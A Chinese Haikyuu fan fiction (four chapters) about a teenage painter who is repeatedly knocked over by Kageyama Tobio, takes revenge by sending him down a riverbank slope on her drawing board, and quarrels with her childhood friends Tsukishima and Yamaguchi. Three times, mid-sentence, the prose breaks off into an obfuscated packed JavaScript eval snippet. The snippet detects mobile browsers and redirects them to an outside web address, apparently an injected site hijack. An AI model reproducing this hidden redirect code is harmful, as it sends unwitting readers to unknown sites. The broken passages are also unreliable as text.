《我的死对头影山飞鱼》 1. 一条鱼 我和影山飞雄的相遇,实在是称不上美妙。 那是一个炽热而又明媚的夏季,那天傍晚难得有魅力的火烧云。 橙红色的夕阳将蔚蓝的天空染成带着金色的橘,也将云层染成带着暗色的红。 眼前的河堤倒映着异常美丽的天空,顿时,水天一色,只有细细一根的水平面将其分割,才让人分辨出来哪一面是水面,哪一面是天空。 在画布上落下最后一笔时,有风徐徐吹过,吹动了脚下长到小腿处的草,吹皱了没有波澜的水面,将水面上的光芒揉碎,给整个沉静的画面巧妙地增添了一抹动感,一丝活力,彻底让这片河堤活了起来。 我看着面前与真实景象相差无几的油画,满意点点头。 今天的火烧云完全值得我扛着画板出来采风,我还是第一次见到这么美丽的天空,也是我第一次画出这么美丽的夕阳。 这一趟来的真值。 在等颜料风干的过程中,我将调色盘和画笔全都放进了塑料袋里打算回去再清洗。 等所有东西都收拾妥当,我俯身看了看画布,见上面的颜料还没有完全干透,于是用分离夹把它和我带过来备用的新画布夹在一起保存。 时间不早,必须要回去了。 小心翼翼地收好画,我背起画箱,扛起画架,踩着草地往更为平坦的马路走去。 河堤和水泥地边的野草长得茂盛,踩上去又软又滑,并不好走,我身上东西又多,所以走得格外谨慎。 就在我要离开草地回到马路上时,我听到了一阵很有节奏的脚步声,以及十分明显的呼吸声。 这个时间点会往这片河堤走的人并不多,我下意识抬头一看,只看到一个黑色的脑袋正匀速跑过我所在的位置。 也就是在他跑过的那一刹那,我感觉肩膀上扛着的画架被撞得一歪,直接破坏了我本来就不太平稳的重心,让我在斜坡上摇摇欲坠。 “!” 我顿时瞪圆了眼睛,不管是肩上扛着的画架也好,挂在手肘处的画箱也好,全都飞上了天,与此同时,我整个人也往后倒去,手上的画布也因为惯性往上脱离…… 不行!这可是我站了好几个小时才画出来的火烧云!它绝对不能出事! 我努力伸长手把画布给捞回来,以一个“上贡”的姿势拖着画布,人却重重倒在地上,并飞速从坡上往下滑走。 匆忙之间,我只看到那个撞到我的少年微微侧头,露出一双没有什么神采的暗色眼眸,随即便晕头转向起来,完全不知西北。 在水泥路上独自跑步的黑发少年若有所觉地停下脚步。 他刚刚好像撞到了什么东西,在某一瞬间也看到了一闪而过的奇怪白影,可粗略地环顾四周,却并没有在附近看到有什么东西。 ……是鸟吗? 少年没有多想,他也没有心思多想,见没有异样,他默不作声地又重新按照自己预定的路线开始跑起来。 我顺着长坡一路往下滑,被迫坐了一回大自然滑滑梯,滑了好久才在河边停下。 这种奇妙的经历简直让我两眼一黑,整个人瘫倒在地上,面向橙红的美丽夕阳,半天没起来。 躺了好一会儿,我缓了口气从草地上坐起来,先是检查了一下手里的画布。 好消息是,备用画布上沾上了灰尘草屑和泥土,我画了东西的那个倒是保护的很好。 我也没事。 ——草地上的草又绿又高,厚实得很,让我滑的十分流畅,而且我今天穿的是长袖,有衣服和草地的双重保护,我并没有受伤。 坏消息是,我并不是个喜欢运动的家伙,捞画板的时候腰疼,摔在草地上背疼,滑下来的时候屁股疼,我现在就像是九十多岁老奶坐着轮胎玩彩虹滑道一样,重点到了,人也快散架了。 可恶。 ……到底是谁啊!跑那么快!真没素质! 我咬牙切齿地拍掉裤子上蹭到的泥土,重新抱着画布从爬坡回到水泥地上,捡起了自己的画箱和画架。 种植着两排银杏树的街道沐浴在橙红色的夕阳下,嫩绿的树叶被光芒染上一层暖色,被风一吹,有几片漱漱落下。 和我此刻的心情一样。 在红温之中掺杂着几分萧瑟。 …… 今天真是我的受难日。 在经历过如此惨痛的意外后,晚上我还要去和我将近四年未见的幼驯染。 我的这两位童年旧友一个叫月岛萤,一个叫山口忠。 因为我的母亲和月岛萤的妈妈是好姐妹,我很荣幸在自己一岁大的时候抱过刚出生的月岛萤。 虽然那个时候我也还是个什么都不知道的孩子,但在成长过程的朝夕相处中,我逐渐习惯了把他当做自己的亲弟弟来照顾,对他宠溺颇多。 不过,即使是如此亲密的关系,我们还是在我离开宫城,去往东京读初中那段时间没了联系,我给他发的消息石沉大海,他好像一直都在生气我对这段友情的“背叛”。 反倒是小学期间通过他认识的山口忠还偶尔在聊天,没有断了交情。 我曾经也有和山口忠偷偷问过月岛萤最近如何,山口忠也有告诉我,只不过有一次我们俩发消息被月岛萤发现了山口忠在和我这个“叛徒”汇报军情,月岛萤发了一次火,山口忠就再也不敢和我说他的事情了。 ……真是,这个狗脾气,说一下又不会怎么样。 我觉得莫名其妙,也觉得有点生气,在那之后也不曾问起他。 年少时期总是这样,幼稚地和最在意的人暗自较劲。 直到现在,在我和我的朋友们分开的第四年夏天,我又重新回到了宫城县,回到了他们面前。 原本在我的设想中,今天晚上我应该是要穿着美丽的连衣裙,戴着风格相配的春夏蕾丝系带镂空草编沙滩帽,在高贵的法式餐厅,踩着优雅的钢琴声,以柔和的灯光为背景惊艳登场。 至少用事实让我的幼驯染们觉得我离开他们之后过得还挺久情调。 但。 可能命运就是看不惯我装逼吧,我毛坯的人生还是暴露了。 傍晚的那场意外让我只能放弃自己的预设,按住自己隐隐作痛的腰,萎靡不振地出现在两个少年面前。 “天呐。”山口忠看我小臂和手肘处都红了一片,关切地问我:“小桃,你今天是去做什么了?怎么弄的一身伤?” 我恹恹地叹口气,解释道:“原本看见了很漂亮的夕阳,临时起意去采风,结果画完准备回去的时候,被谁撞了一下,直接从坡上滑下来,痛死了,背上也擦伤了呢。” 山口忠知道对方就算是采风也不会离家太远,立刻就想到了附近唯一的那个河堤,忍不住幻痛得脸皱成一团,说:“那个坡不是很陡,但很长,草也很滑,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551565|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定摔了很久吧。” “对啊!”我咬牙切齿:“而且那个人真的很没礼貌,撞到人了都没来道歉,直接就跑掉了!” “还有这种事!”山口忠难以置信。 居然还有人没素质到这种程度! 那是河边的长堤,一不小心可是会掉到水里去的!而且撞到的还是一个女孩子!就算一开始是不小心的,撞到了总得做出补救吧! 月岛萤嗤笑了一声:“说不定是你太矮了,人家压根就没看见你,还以为自己大白天撞鬼了吧。” 我:“……” 好、好恶毒的抨击。 我好歹也是个正常发育的身体,可能对月岛萤这个一米八几将近一米九的大高个来说是矮了点,但是日本平均身高都矮,能有几个和他一样长到一米八几还要往上窜的,总不可能我随便遇到一个都是一米八吧! 山口忠:“阿月,这么说也有点太……” 瞧瞧!小忠都听不下去了! 我愤怒握拳,想呛他几句,却想到他这几年对我的芥蒂,现在也摸不准他的态度,上头的怒火迅速熄灭,我贴着创可贴的下巴搁在餐桌上,留下两行宽泪。 真是气死我了TAT 月岛萤忍不住掀了掀嘴角,眼里的笑意转瞬即逝,在对方直起身子看过来之前又冷着一张脸,保持冷漠的语气说道:“反正你以后自己小心点,有事就直接打电话,过来捞你的时间还是有的,别自己一个人呆瓜似的硬抗。” 我听到这句话,眨了眨眼睛,问道:“你愿意接我电话了?我从你黑名单里出来了?” 他动作一僵,不是很自然地推了推鼻梁上的眼镜,“……看在你一个人生活这么惨的份上,我会接的。” 我有些意外能从他嘴里听到这种话。 月岛萤刚上初中那会儿就一言不发地把我的电话给拉黑了,发消息也完全不回,我也不知道哪里惹他生气,还气成这样。 他这个人哪里都好,就是脾气太倔,上一个让他心里有隔阂的明光哥,两个人到现在关系还很僵,我还以为他会彻底和我断交…… 啊,其实他今天愿意和小忠一起来见我,就已经对我消气了吧? 说到底,他之前为什么会拉黑我啊? 面对这个问题,月岛萤只是双手环胸,脸上什么表情都没有,很十分冷淡地回答:“自己想。” 我:“?” 哈。 拜托,这个臭男人是真的很拽诶。 手肘上的擦伤看上去严重,其实第三天就已经没有了疼痛感,周围的大片红色也都消了下去,只剩下结了痂的小伤痕还残留在皮肤上。 我倒是很想揪出那个“肇事逃逸”的男生,但我没看清那家伙的脸,也没看清那家伙的校服,只是看见了对方有着一头黑色短发和一双暗蓝色的眼睛,并不是什么有用的信息。渐渐的,伴随着伤口的愈合,我也将这件事抛之脑后,忘记了这次“惨痛”的经历。 但!是! 我没想到啊,我是真的没想到啊。 人怎么可以,人怎么能,在同一个家伙身上,栽两次跟头?! 被撞倒在路边的矮树丛中,我颤颤巍巍地扶着一边的画架,从柔软的草地上爬起来,吐掉嘴里误吃进去的叶子,双眼冒火。 阴魂不散的臭男人…… How old are you??? 2. 两条鱼 事情是这样的。 我是个很宅的人,如果不是为了和友友们每周一次的聚餐,和心血来潮的外出画画,就算是长期不出门我也不会觉得很难受。 只不过乌野町的风景比东京要平和安逸一些,明明我并不喜欢扛着绘画工具出去采风,却在这里很多次都产生过出去找个美丽的风景用画笔记录下来的念头。 按捺不住自己的心动,我还是在一个风和日丽的下午来到了一条鲜少有人经过的街道。 这里离上次的那个河堤不远,是去那边的必经之路。 站在绝佳的观赏角度放眼望去,湛蓝色的天空被遮天蔽日的绿色覆盖,只在缝隙中透露丝丝缕缕的蓝,风吹过去,街道上响起了“沙沙”的声响,树枝也随着风儿摇曳,晃出好看的弧度。 要画夏日,那就不能只画灿烂的阳光,还要铺上大片明亮的色彩,突出视觉上的重点,要画上街边小店门口摇晃的风铃,再按照我的喜好,再画上一个穿着短裙,不紧不慢吃着冰棍的少女。 我拿着画笔,将少女裙子上被风吹起的丝带带出飘逸的弧度,随即弯起嘴角,满意点头。 不愧是我,简直天才。 画已经画完,剩下的只等颜料风干,我等着有些无聊,干脆蹲在旁边刷朋友们的动态,感觉时间差不多了,这才撑着膝盖起身去看画。 家人们,在这里友情提示。 如果平常不经常运动,久蹲之后请千万不要站得太快,不然就会像我一样眼前突然闪现一片雪花片,脑袋也开始发晕,整个人处于一种十分脆弱又玄妙的状态,甚至还有可能摔倒。 当然我暂时还没有到摔倒这种程度,但是意外嘛,总是在不经意间发生的。 ——在我扶着膝盖适应这种状态时,我的屁股不知道被物体重击,力度不至于让我受伤,但胜在猝不及防。 本来人就晕乎乎的,现在被突然袭击,我整个人往前扑去,直接扑进了前面的矮树丛里。 一时间,这条美丽的街道只剩下了那令人一眼沉醉的美景、平整摆放在画架上的鲜艳油画…… 以及一个原本不该出现在这里的圆润排球。 一双手捡起了掉落在地上的球体。 黑发少年直起身子,微微侧目,注意到了不远处夹在画板上的画,还有画架前被撞得歪歪扭扭的小板凳。 那幅画…… 他下意识往前又走了几步,走到画板前停下。 那只是一页再简单不过的画纸。 可是上面堆积的颜色丰富又明艳,一眼就能把人拉入那个由线条与色块构成的世界,感受到夏季明媚的阳光,感受到街道隐隐处的清凉,听到风吹而来的树叶沙沙声,和便利店门上响起来的风铃声。 画面中,抬起手遮挡阳光的少女并未细细描摹出面容,只能粗略地看到她隐藏在阴影下的面部轮廓。 她手上拿着有些化了的冰棍,裙子上被风吹起飘逸的浅色细带,连笑容都没透露,却莫名让人觉得她就应该是活泼的、肆意的、阳光的性格。 实在是一幅过于美好的画面。 他不自觉朝那幅画伸出手。 而就在指尖即将要触碰到那明艳的蓝时,旁边的矮草丛中突然冒出一幅过于来一个脑袋。 “喂!” 他措不急防被吓了一跳,防备地朝草丛中看去,入目是一双熠熠生辉的碧绿眼眸。 我顾不得拍掉脑袋上的树叶,直接从草丛里费劲地把自己扒拉出来,挡在他和我的画架中间,瞪他:“你要干什么?” 黑发少年被挤得后退了好几步,视线才从那双眼睛上移开,解释道:“抱歉,我只是觉得这幅画很好看。” 听他这么说,我才上下打量他几眼,感觉他不像是在说话,于是微微侧开身子,让他能看到画板上的画,并叮嘱:“用眼睛看就好了,不许上手。” 他老实巴交地点点头。 男生长得很高,眼睛狭长,鼻梁高挺,嘴唇偏薄,是很标准的帅哥,只不过眉眼间较为锋利,垂眼看下来时,即使脸上没什么表情,也显得有点凶。 与长相不符,他脾气好像还挺好的。 ……可是等一下。 我怎么感觉。 他莫名看上去很眼熟? 我抵着下巴,狐疑地再次打量起眼前的这位少年来。 黑色的柔顺短发。 稍微出现了些活力的蓝色眼睛。 那天在河堤上被撞的记忆突然涌了上来。 就是这家伙吧!喂!就是这家伙撞得我吧! 新仇旧恨,我的怒火噌的一下往上窜,质问的话几乎要脱口而出—— “这是你画的吗?看上去好厉害。” 一句直白的夸赞让我的火气突然堵在了喉咙。 ……我原本是有些生气的。 这小子一副凶狠又不好惹的模样,看上去不像个蠢的,而且又总是在我最容易发生意外的时候让我发生意外,我都怀疑他是故意的。 可是,他现在在很正经地夸我。 他好像真的认为我画画很厉害,看上去也很喜欢这幅画。 要不,还是算了吧,也许他不是故意的。 我抿了抿嘴角,苛责的话还是咽了下去,只不满地抱怨道:“既然觉得画好看,你更要在走路的时候注意四周,别误伤到像我这样厉害的画家才对啊。” “诶?”他一愣,不明所以地指着自己:“我吗?” “对啊,我刚刚就站在这里,然后被突然飞过来的什么东西撞到草丛里了。”我指着他怀里的排球,皱眉:“肯定是这个,你是不是在路上玩球了?” “我只是在抛球而已,力道没有很大。” “力道大不大也不是你说了才算的吧?”我说:“上次在前面的河堤附近,也是你撞到我,然后我才从河堤上滚下去的。” 影山:“……” 他有点被震撼到了。 真的有这种事情发生吗? 我双手环胸,有些不满:“不记得了吗?还是说你根本没注意到?” 影山蹙着眉头仔细回想。 怎么可能会有撞到人他本人还不知道的?不对,他印象中没有碰到过谁,这次也是第一次见到这个女生的。 嘶,等等。 说起河堤,确实有一次他在边跑边想事情的时候,眼前有一闪而过的白影,可当他停下来寻找却一无所获,最后只当是出现了什么错觉,完全把异样抛之脑后。 想到这里,影山飞雄低头问我:“那天你穿的是什么颜色的衣服?” 我冷声说:“白色的长袖上衣和浅蓝色的牛仔裤,头上带着编织的白蕾丝沙滩帽。” 影山飞雄:“……” 破案了。 面前的少年表情变化并不明显,但我就是从中看出了几分心虚,我冷笑一声,指他:“想起来了吧,就是你。” 我的眼力是绝对不可能出错的,即使是匆匆一瞥,我也能通过这种明显的特征把对方认出来。 真相永远只有一个。 就是你,黑发蓝眼男! 他立马老实,低头认错:“对不起。” 道歉倒是很快。 可恶,一句狡辩都没有的话,岂不是显得我的追问很斤斤计较,可那天摔跤真的很痛,我一下午的心血也差点毁掉。 ……不对,就算斤斤计较又怎样?是他跑步没有看路啊! 有人和我说过,与其反省自己不如苛责他人。 我就应该强势一点,把让自己感觉不愉快的人全部创飞。 于是我重新憋了一口气,质问道:“就一句毫无感情的道歉吗?” “那天……”他想解释,却不知道为什么又闭上了嘴,老老实实低下头:“反正,是我不小心,很对不起。” “不行,太轻描淡写了。”我面无表情地双手叉腰:“我要你体验一遍我的痛苦才算结束。” 他抿了抿嘴角,看得出有些不悦,但这种心情很快又被愧疚淹没,最终任劳任怨地帮我扛着画架, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551566|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着画板,跟着我来到了上次出了意外的那个河堤。 正如对方所说,这一片长满野草的坡很长,不只是长,坡度还有点陡。 这种坡的话,只需要轻轻一碰,人就会咕噜咕噜滚下去了,更别说这个身形偏瘦的女生,还是个能被力道并不大的排球砸进草丛里的柔弱家伙。 少年站在长到自己小腿高度的野草边,往下看那几十米长的陡坡,随后认命地闭上了眼睛,并叹了口气。 ……毕竟是他不小心。 我把厚实地画板往地上一丢,拉起了上面用来背在背上的黑色背带,转头看向不知道在想什么的黑发少年,喊道:“喂,你在那里文艺什么呢?快过来。” 他睁开眼睛,侧头一看。 我在他的注视下拍了拍木质画板的板面,“坐吧。” 影山挪到了画板上坐下,手里还被塞入了那根黑色背带,他脑袋上冒出一个问号,侧头问道:“这是干什么?” “你坐在上面,待会儿我给你踹下去。”我说:“这样你就可以体验到我上次的紧张,不安,恐惧,和愤怒。” “不是直接让我滚下去吗?” 我表情复杂地看着他,看了好一会儿,才不是很确定地委婉道:“那样你会更开心吗?” 他:“应该不会。” “对啊,我想一般人都不会因为从坡上滚下去而感到开心吧。” 我站起身来,继续和他搭话:“话说回来,你是打排球的吗?在哪个学校呀?” “噢,我在北川……呃啊!” 话没说完,人飞下去了。 我站在坡顶,听着那个脸上表情一直都变化不大的少年发出“啊啊啊啊啊啊啊”的惨叫。 这种突然袭击非常有效果。 他在最开始就被吓到,发出了一声很短暂的尖叫,紧接着风太大,让他不得不咬住嘴唇闭紧嘴巴,再到后面速度越来越快,那种失重的下坠感让他捏紧了手里的背带,也无法克制地叫出了声。 哈,叫你偷袭我两次。 让你也尝尝被偷袭的滋味! “如何?是不是很害怕?是不是很紧张?” 我恶毒地仰天笑出声:“很不安吧!很生气吧!很无助吧!” 我刚说完,就看到坡下的黑发少年滑到了底。 没有草的泥土让画板猛地停下,他往前一扑,整个人趴在了河边的土里。 这反倒是我没预料到的。 我下意识往前迈了一步想去救人,慢半拍才想起来,我本就是要他落入如此悲惨境地的。 于是我双手环胸,强行冷哼一声,用声音强撑底气,大声道:“这样就能长记性了吧!臭小子,以后遇到我给我小心点哦……画板送你,我要先走了。” 干了坏事,我正准备快速溜走。 影山却迅速从地上爬起来,捡起草地上的画板,几秒的时间就从坡下爬上来,出现在了我的眼前。 他跑的实在是太快了,我有点被吓到。 少年脸上沾了许多灰尘,整个人看上去灰头土脸的,好像刚参加完群殴的不良少年。 他二话不说,堵住了我的去路。 我以为他要对我动手,立马抬起胳膊护住头部,直接认怂:“对不起!你别乱来啊!我也没想到你会飞到土里去,这次是我不好但是上次我没有画板的保护也受伤了算我们扯平……” “喂!” 他喊了我一声。 很意外的,声音并不是料想中的愤怒。 我试探性地看向他,却见他那双往日并没有什么神采,总是压抑着什么的阴郁眸子,此刻像是落满了星河,亮晶晶的,还有些兴奋。 “喂,再来一次吧!” 我依旧很不确定:“……哈?” 不是要打我吗?也不骂我? “嗯。”他应了一声,又说:“挺有意思的,再来一次吧,可以吗?” “可以是可以。” 但。 好像有哪里不对? 3. 三条鱼 少年缠着我玩了七八次“滑滑梯”。 无法理解,这家伙明明有着优越的长相和身高,是丢在人群里都能一眼被人看见的大帅哥,不说话时那看不清情绪的样子又凶又帅,锋利的眉眼间总是有一种化不开的阴郁与忧愁,性格却这样耿直,对自己犯下的错误态度诚恳,甚至还能从我给他的惩罚里找到奇怪的快乐。 ……这不对吧? 我陷入了沉默。 他坐着我的画板往下滑的时候,我一瞬间像是看见了飞奔过去叼飞盘的大型犬。 这家伙根本就不觉得我在为难他,他根本就是在享受,单纯在和我玩啊! 我木着脸,弯腰抽走他屁股底下垫着的画板,无情离开:“不玩了,我要回家。” 简直浪费时间。 影山飞雄两腿一翻倒在草地上,然后迅速坐起来,喊道:“就要回家了吗?” “没错,我待会儿还有很多事情要做,可没空陪你在这里玩这种幼稚的游戏。” “……” 黑发少年从地上爬起来,仗着自己腿长,走路还快,几步就追上了我,来到我身边。 一个很自来熟的决定。 我以为他会就那样坐在草地上,然后很若无其事地去继续做他今天需要做的事情。 或者就那样躺在斜坡上抬头欣赏美丽的天空,毕竟这两次看到他,他的心情似乎都不是很好,而今天的天空与河堤周围的氛围,光是什么都不做,只躺在那里就能让纷杂的思绪平静下来。 ——总之不管怎么思考,他都不应该是像现在这样自来熟地跟在我身边,好像已经单方面决定要和我成为朋友。 即使这是我们第二次见面,我也不认为这个男生会是这种友善的性格。 哼,那么真相就只有一个了吧,会让他如此粘着我的原因…… “你不用太感谢我,也不用因为今天的事情而过于在意我。”我微微抬起下巴,没有回头看他,而是继续往前走着:“之前的事情我已经不在意了,今天结下的梁子也算有了了结,我带你来河堤这边虽然没有达到我想要的结果,但毕竟我的初衷并不善良,你也不用觉得我有陪你一起玩而对我心生好感。” “你也看到了,我就是一个睚眦必报的性格,如果下次你再惹到我,我肯定会以更残忍的方式回报给你。” “今天只是歪打正着,我的报复可能恰好为你释放了压力,可如果因此你认为我是个脾气好、性格好的人,那就大错特错了。” 走到熟悉的住宅区,身后的人还在亦步亦趋地跟着。 “所以。”我不耐烦地停下来,转身冷脸看他:“我的话你到底听懂了没有?都说到这个份上了,就别再继续跟着我了,我是不会再陪你玩的。” 影山飞雄面无表情,指着我背后不远处的房子,平静地回答:“我回家也往这边走。” 我:“……” 我、我。 我。 ……这是什么经典的破老梗啊!现在画漫画都不画这种土掉渣的情节了混蛋! 我深吸一口气,强行稳住自己摇摇欲坠的羞耻心,冷静反驳:“怎么可能往一边走就是同路,拿概率这么低的事情来糊弄我吗?” 心里其实已经隐隐有了我在自己骗自己的答案,但因为太尴尬,我对这个猜测还保留着一丝微弱的期望。 当然,这一丝微弱的期望,在黑发少年拿出钥匙,并打开了前院的铁门后,完全破碎。 影山飞雄:“不,我真的住这里。” 我:“……” 哈,我都干了些什么? 还不如一开始就为自己的言行道歉呢!为什么非得赌这一把必输局啊! 我脑内疯狂尖叫。 但面上稳住了自己差点崩坏的表情,僵着脸,小声说:“抱、抱歉,我误会你了,是、是我的问题。” 影山飞雄语气没什么变化:“哦,没事。” 从头至尾,少年除去在坡上玩滑滑梯那会儿之外,他所表现出来的性格都是成熟的,冷静的,理智的,就算是我的态度不好,说话也莫名其妙,不知所云,他却完全没有打断的意思,既有礼貌又懂得包容。 ……不,他像是根本不在意,他完全不在意我的想法。 反正事实会打我的脸,给我一个和自己猜想完全相反的解释,所以他根本就不用阻止我,只是安静地听着,等待真相揭露的那一刻。 可恶。 败了,完全败了。 这个家伙根本就不是什么单纯耿直的家伙,我被他玩滑滑梯时候的样子骗了个彻底! 太可怕了。 仅仅只是个十几岁的少年而已,心思居然如此深沉不可捉摸。 我不由得后退一步,为我轻视一个陌生人的幼稚行为感到羞愧,也为这家伙的本性而有所防备。 黑发少年并不知道对方脑袋里都在想些什么奇怪的东西。 他在关门之前,像是想起什么,问道:“明天你还要在河堤画画吗?” “……?” 什么意思?刚发生了这么尴尬的事情,他突然提这个干什么? 挑衅我? 在点我? ……可恶,这家伙。 真是恶劣的性格! 我面色不善:“不要。” 黑发少年还想说什么,却见对方已经毫不留情面地转身离去。 左肩扛着画架,右肩挂着画箱,手上拎着板凳,背上背着画板。 ……看上去快被一堆东西压垮了。 影山飞雄挠挠头,还是关上了门,走回那座只有他生活的房屋。 …… “听我说啊,阿月TAT” 我从眼角留下宽泪,喊道:“我被骗了,我被狠狠骗了,原本以为那是什么纯良的家伙,结果他让我闹出个这么大的笑话!” 在旁边和山口忠互相垫球的高挑少年侧目,眼睛微微眯起,说:“不就是误会对方对你产生了好感,驱赶他的时候发现你们两个同路吗?还算不上‘闹笑话’的程度吧。” “当然有啊,现场很尴尬诶。” “早在他跟着你往一边走的时候,就应该要有这种猜测了。” “谁知道嘛……他又早不和我说。” “喜欢为自己找借口的习惯得改改了,桃沢绘里。” 我:“……” 这家伙说话更过分啊喂! 月岛萤伸手拖住山口忠垫给他的球,侧身看向我,继续说:“而且我和山口也叮嘱过你吧?要是碰到有奇怪的陌生男性跟在你后面,就不要往家的方向走,找我,找山口,去人多的地方。” 我小声说:“这家伙不是之前就见过吗……” “要反驳我就大点声。” 山口忠头痛扶额,站在我们中间,左边哄哄,右边哄哄:“好啦好啦,这次也不是什么很严重的事情。小桃不用在意这个的,也许之后很难再见到他呢?时间一长大家就都不记得了,阿月也别不开心,小桃知道你的意思的。” 月岛萤沉默半晌,嘁了一声,又道:“我才没有不开心,关我屁事。” 我:“你!” “啊哈哈哈哈哈,这个话题就说到这里吧。”山口忠在这两个嘴硬怪吵起架之前,打着哈哈转移了话题:“说起来小桃,你第二次遇见那个人是被他用排球砸进草丛的,那个人也打排球吗?听你这么一说,好像他的力道还很大,是哪个学校的学生?” “学校?” 听他这么问,我的脑袋里迅速提取出信息,“是北川第一的吧。” 依稀记得那个男生被我踹下去之前是想介绍自己所在的学校来着,只听到“北川”两个字。 虽然小学毕业之后我就去了东京,但六年级第一学期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551567|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候妈妈还没有搬家计划,那会儿还是打算初中要在仙台上的,这些学校我多少有了解。 那个学校在宫城县还算有名比较有名,我的两个好友都喜欢排球,我也关注过学校运动这一块的成就,北川第一和白鸟泽在排球方面一直是县内数一数二的学校。 那个男生排球不离手,又是“北川”,那肯定是北川第一的嘛。 “哇,是那个名校诶。”山口忠歪着脑袋,一边思考一边重复我透露给他们的信息:“黑头发,蓝眼睛,性格还有点糟糕……” 月岛萤:“那个‘国王陛下’?” “诶,是他吗?”山口忠露出了意外的神色。 我看了看月岛萤,又看了看山口忠:“你们两个在默契地说着什么加密通话?我不知道,快和我说。” 我的目光定格在小忠身上。 像这种他们理解起来并不费力,而和我解释却需要多费几句口舌的事情,月岛萤会觉得麻烦,有小忠在场,他都不会主动为我说清楚其中的玄妙,我也懒得指望他。 不过,这次倒有点不太一样。 比山口忠先开口的,居然是站得离我有些远的月岛萤。 他那张淡漠的脸上此时此刻嘴角微微上扬,像是讽刺,像是嘲笑,像是有趣,并用对他来说颇有起伏的音调对我说: “球场上的独裁者,孤独的王者。” “那个人在县预赛上的托球,被所有队友都拒绝了。” “他可是个不被理解的天才。” 山口忠无奈地提醒他:“别这么说阿月,而且你说这些话小桃更听不懂吧。” 不,我和他们从小一起长大,阿月,阿忠,还有明光哥都在打排球,我耳濡目染,也大概知道他是什么意思。 无非就是作为团队枢纽的二传托出去的球,却悲惨地被队友无视,被所有人背弃,最终也许还丢掉了比赛。 听上去有点凄惨。 我忍不住问道:“因为他打的太烂了?” 不然这种团队运动怎么会发生这种事。 他说:“因为他的托球太难接了,他的队友没办法打到他给的球。” 意思就是打的太好了,队友跟不上。 山口忠点点头:“我还是第一次见到这种情况,之后他就被换下去坐冷板凳了。” 我想起黑发少年那双沉寂的眼睛。 普通蒙上一层灰灰的薄雾,遮盖住了原本绚丽的光彩,如同阴郁的淤泥沼泽,压抑着逐渐冷却的情绪。 不知出于什么原因,我感叹了一句:“真可怜。” 月岛萤斜我一眼:“他的队友才可怜吧。” 我说:“在平常训练中没有人发现问题及时引导,任由一把利器肆意地破坏团队,最后还要责怪那把武器不好用。他和他的队友都挺可怜的。” “真罕见,明明对排球不是很感兴趣,今天却评价了一大堆。” 月岛萤嘴角的弧度拉平了一些,继续道:“你不是讨厌他吗?这就要为他说话了?” “我没有啊。”我有些莫名地看着他:“你怎么攻击性这么强,看到他倒霉你很开心吗?” 月岛萤单手撑腰,眉梢一挑:“还好,大概也就是和听说某位天才画家在精神很不稳定期间画出来的画被所有收藏家统统拒绝出价一样开心吧。” 我:“=皿=。” 我:“真敢说啊,别以为我不敢揍你,笨蛋阿月。” “诶——真的假的?” 月岛萤捂嘴笑:“就你那个拳头,我不会受伤,但你的手会骨折吧。” 我:“!” 我受不了了,今天我就要和这个乱喷毒液的家伙拼了! 山口两眼一黑,连忙抱住我的腰:“冷静!冷静!小桃!冷静!” “小忠你看他!” “算了算了,算了算了算了,算了——” 4. 四条鱼 和月岛萤这样性格的人待在一起,同样脾气不好的我是不可能跟他和平相处的。 山口忠已经有了一套成熟的哄人体系,小学六年级的时候用起来还略显生疏,时隔三年,已经是个小大人的他安抚起我来实在纯熟,以至于我只是暴怒了很短的一瞬间,情绪就恢复了平静,然后神色如常地问他们周末能带我去哪里逛街。 月岛萤蹙着眉头欲言又止地看了我好几眼,最后烦躁地揉乱一头奶黄色的短发,还和我道了歉。 我觉得他在挑衅我,于是我踹了他一脚,在他白色的裤子上留下一个灰扑扑的脚印,成功让月岛萤再次黑下脸,和我爽快地又吵了一架。 嗯,舒坦了。 接下来的一个多月,山口忠和月岛萤因为要准备期末考而忙碌起来,我也因为几个月后的入学测验和编辑不停地催促而减少了本就不多的出门次数。 赶稿的日子实在是非常痛苦。 我面露菜色,眯着眼睛描出画面的黑框,中指上的薄茧痛痛,今天的绘画量明显超标。 ——早知道当初就该老实点,不找这么多工作来充实自己的人生了。 早在今年四月,高中刚开学的那段时间里,因为学业,妈妈放低了对我的要求,和我说每周至少要画一幅画给她。 只不过在勉强上完高中的第一学期后,我休学在家,没有出门的欲望,独自呆在房子里也没什么事情做,于是只能拿起笔,开始不停地画画,以此来满足心里莫名其妙出现的空虚。 画到最后,妈妈的画室不需要堆积这么多无法引起共鸣的空洞作品,可我除了画画根本就找不到别的事情做,所以干脆尝试新的领域,和出版社投稿了一篇漫画。 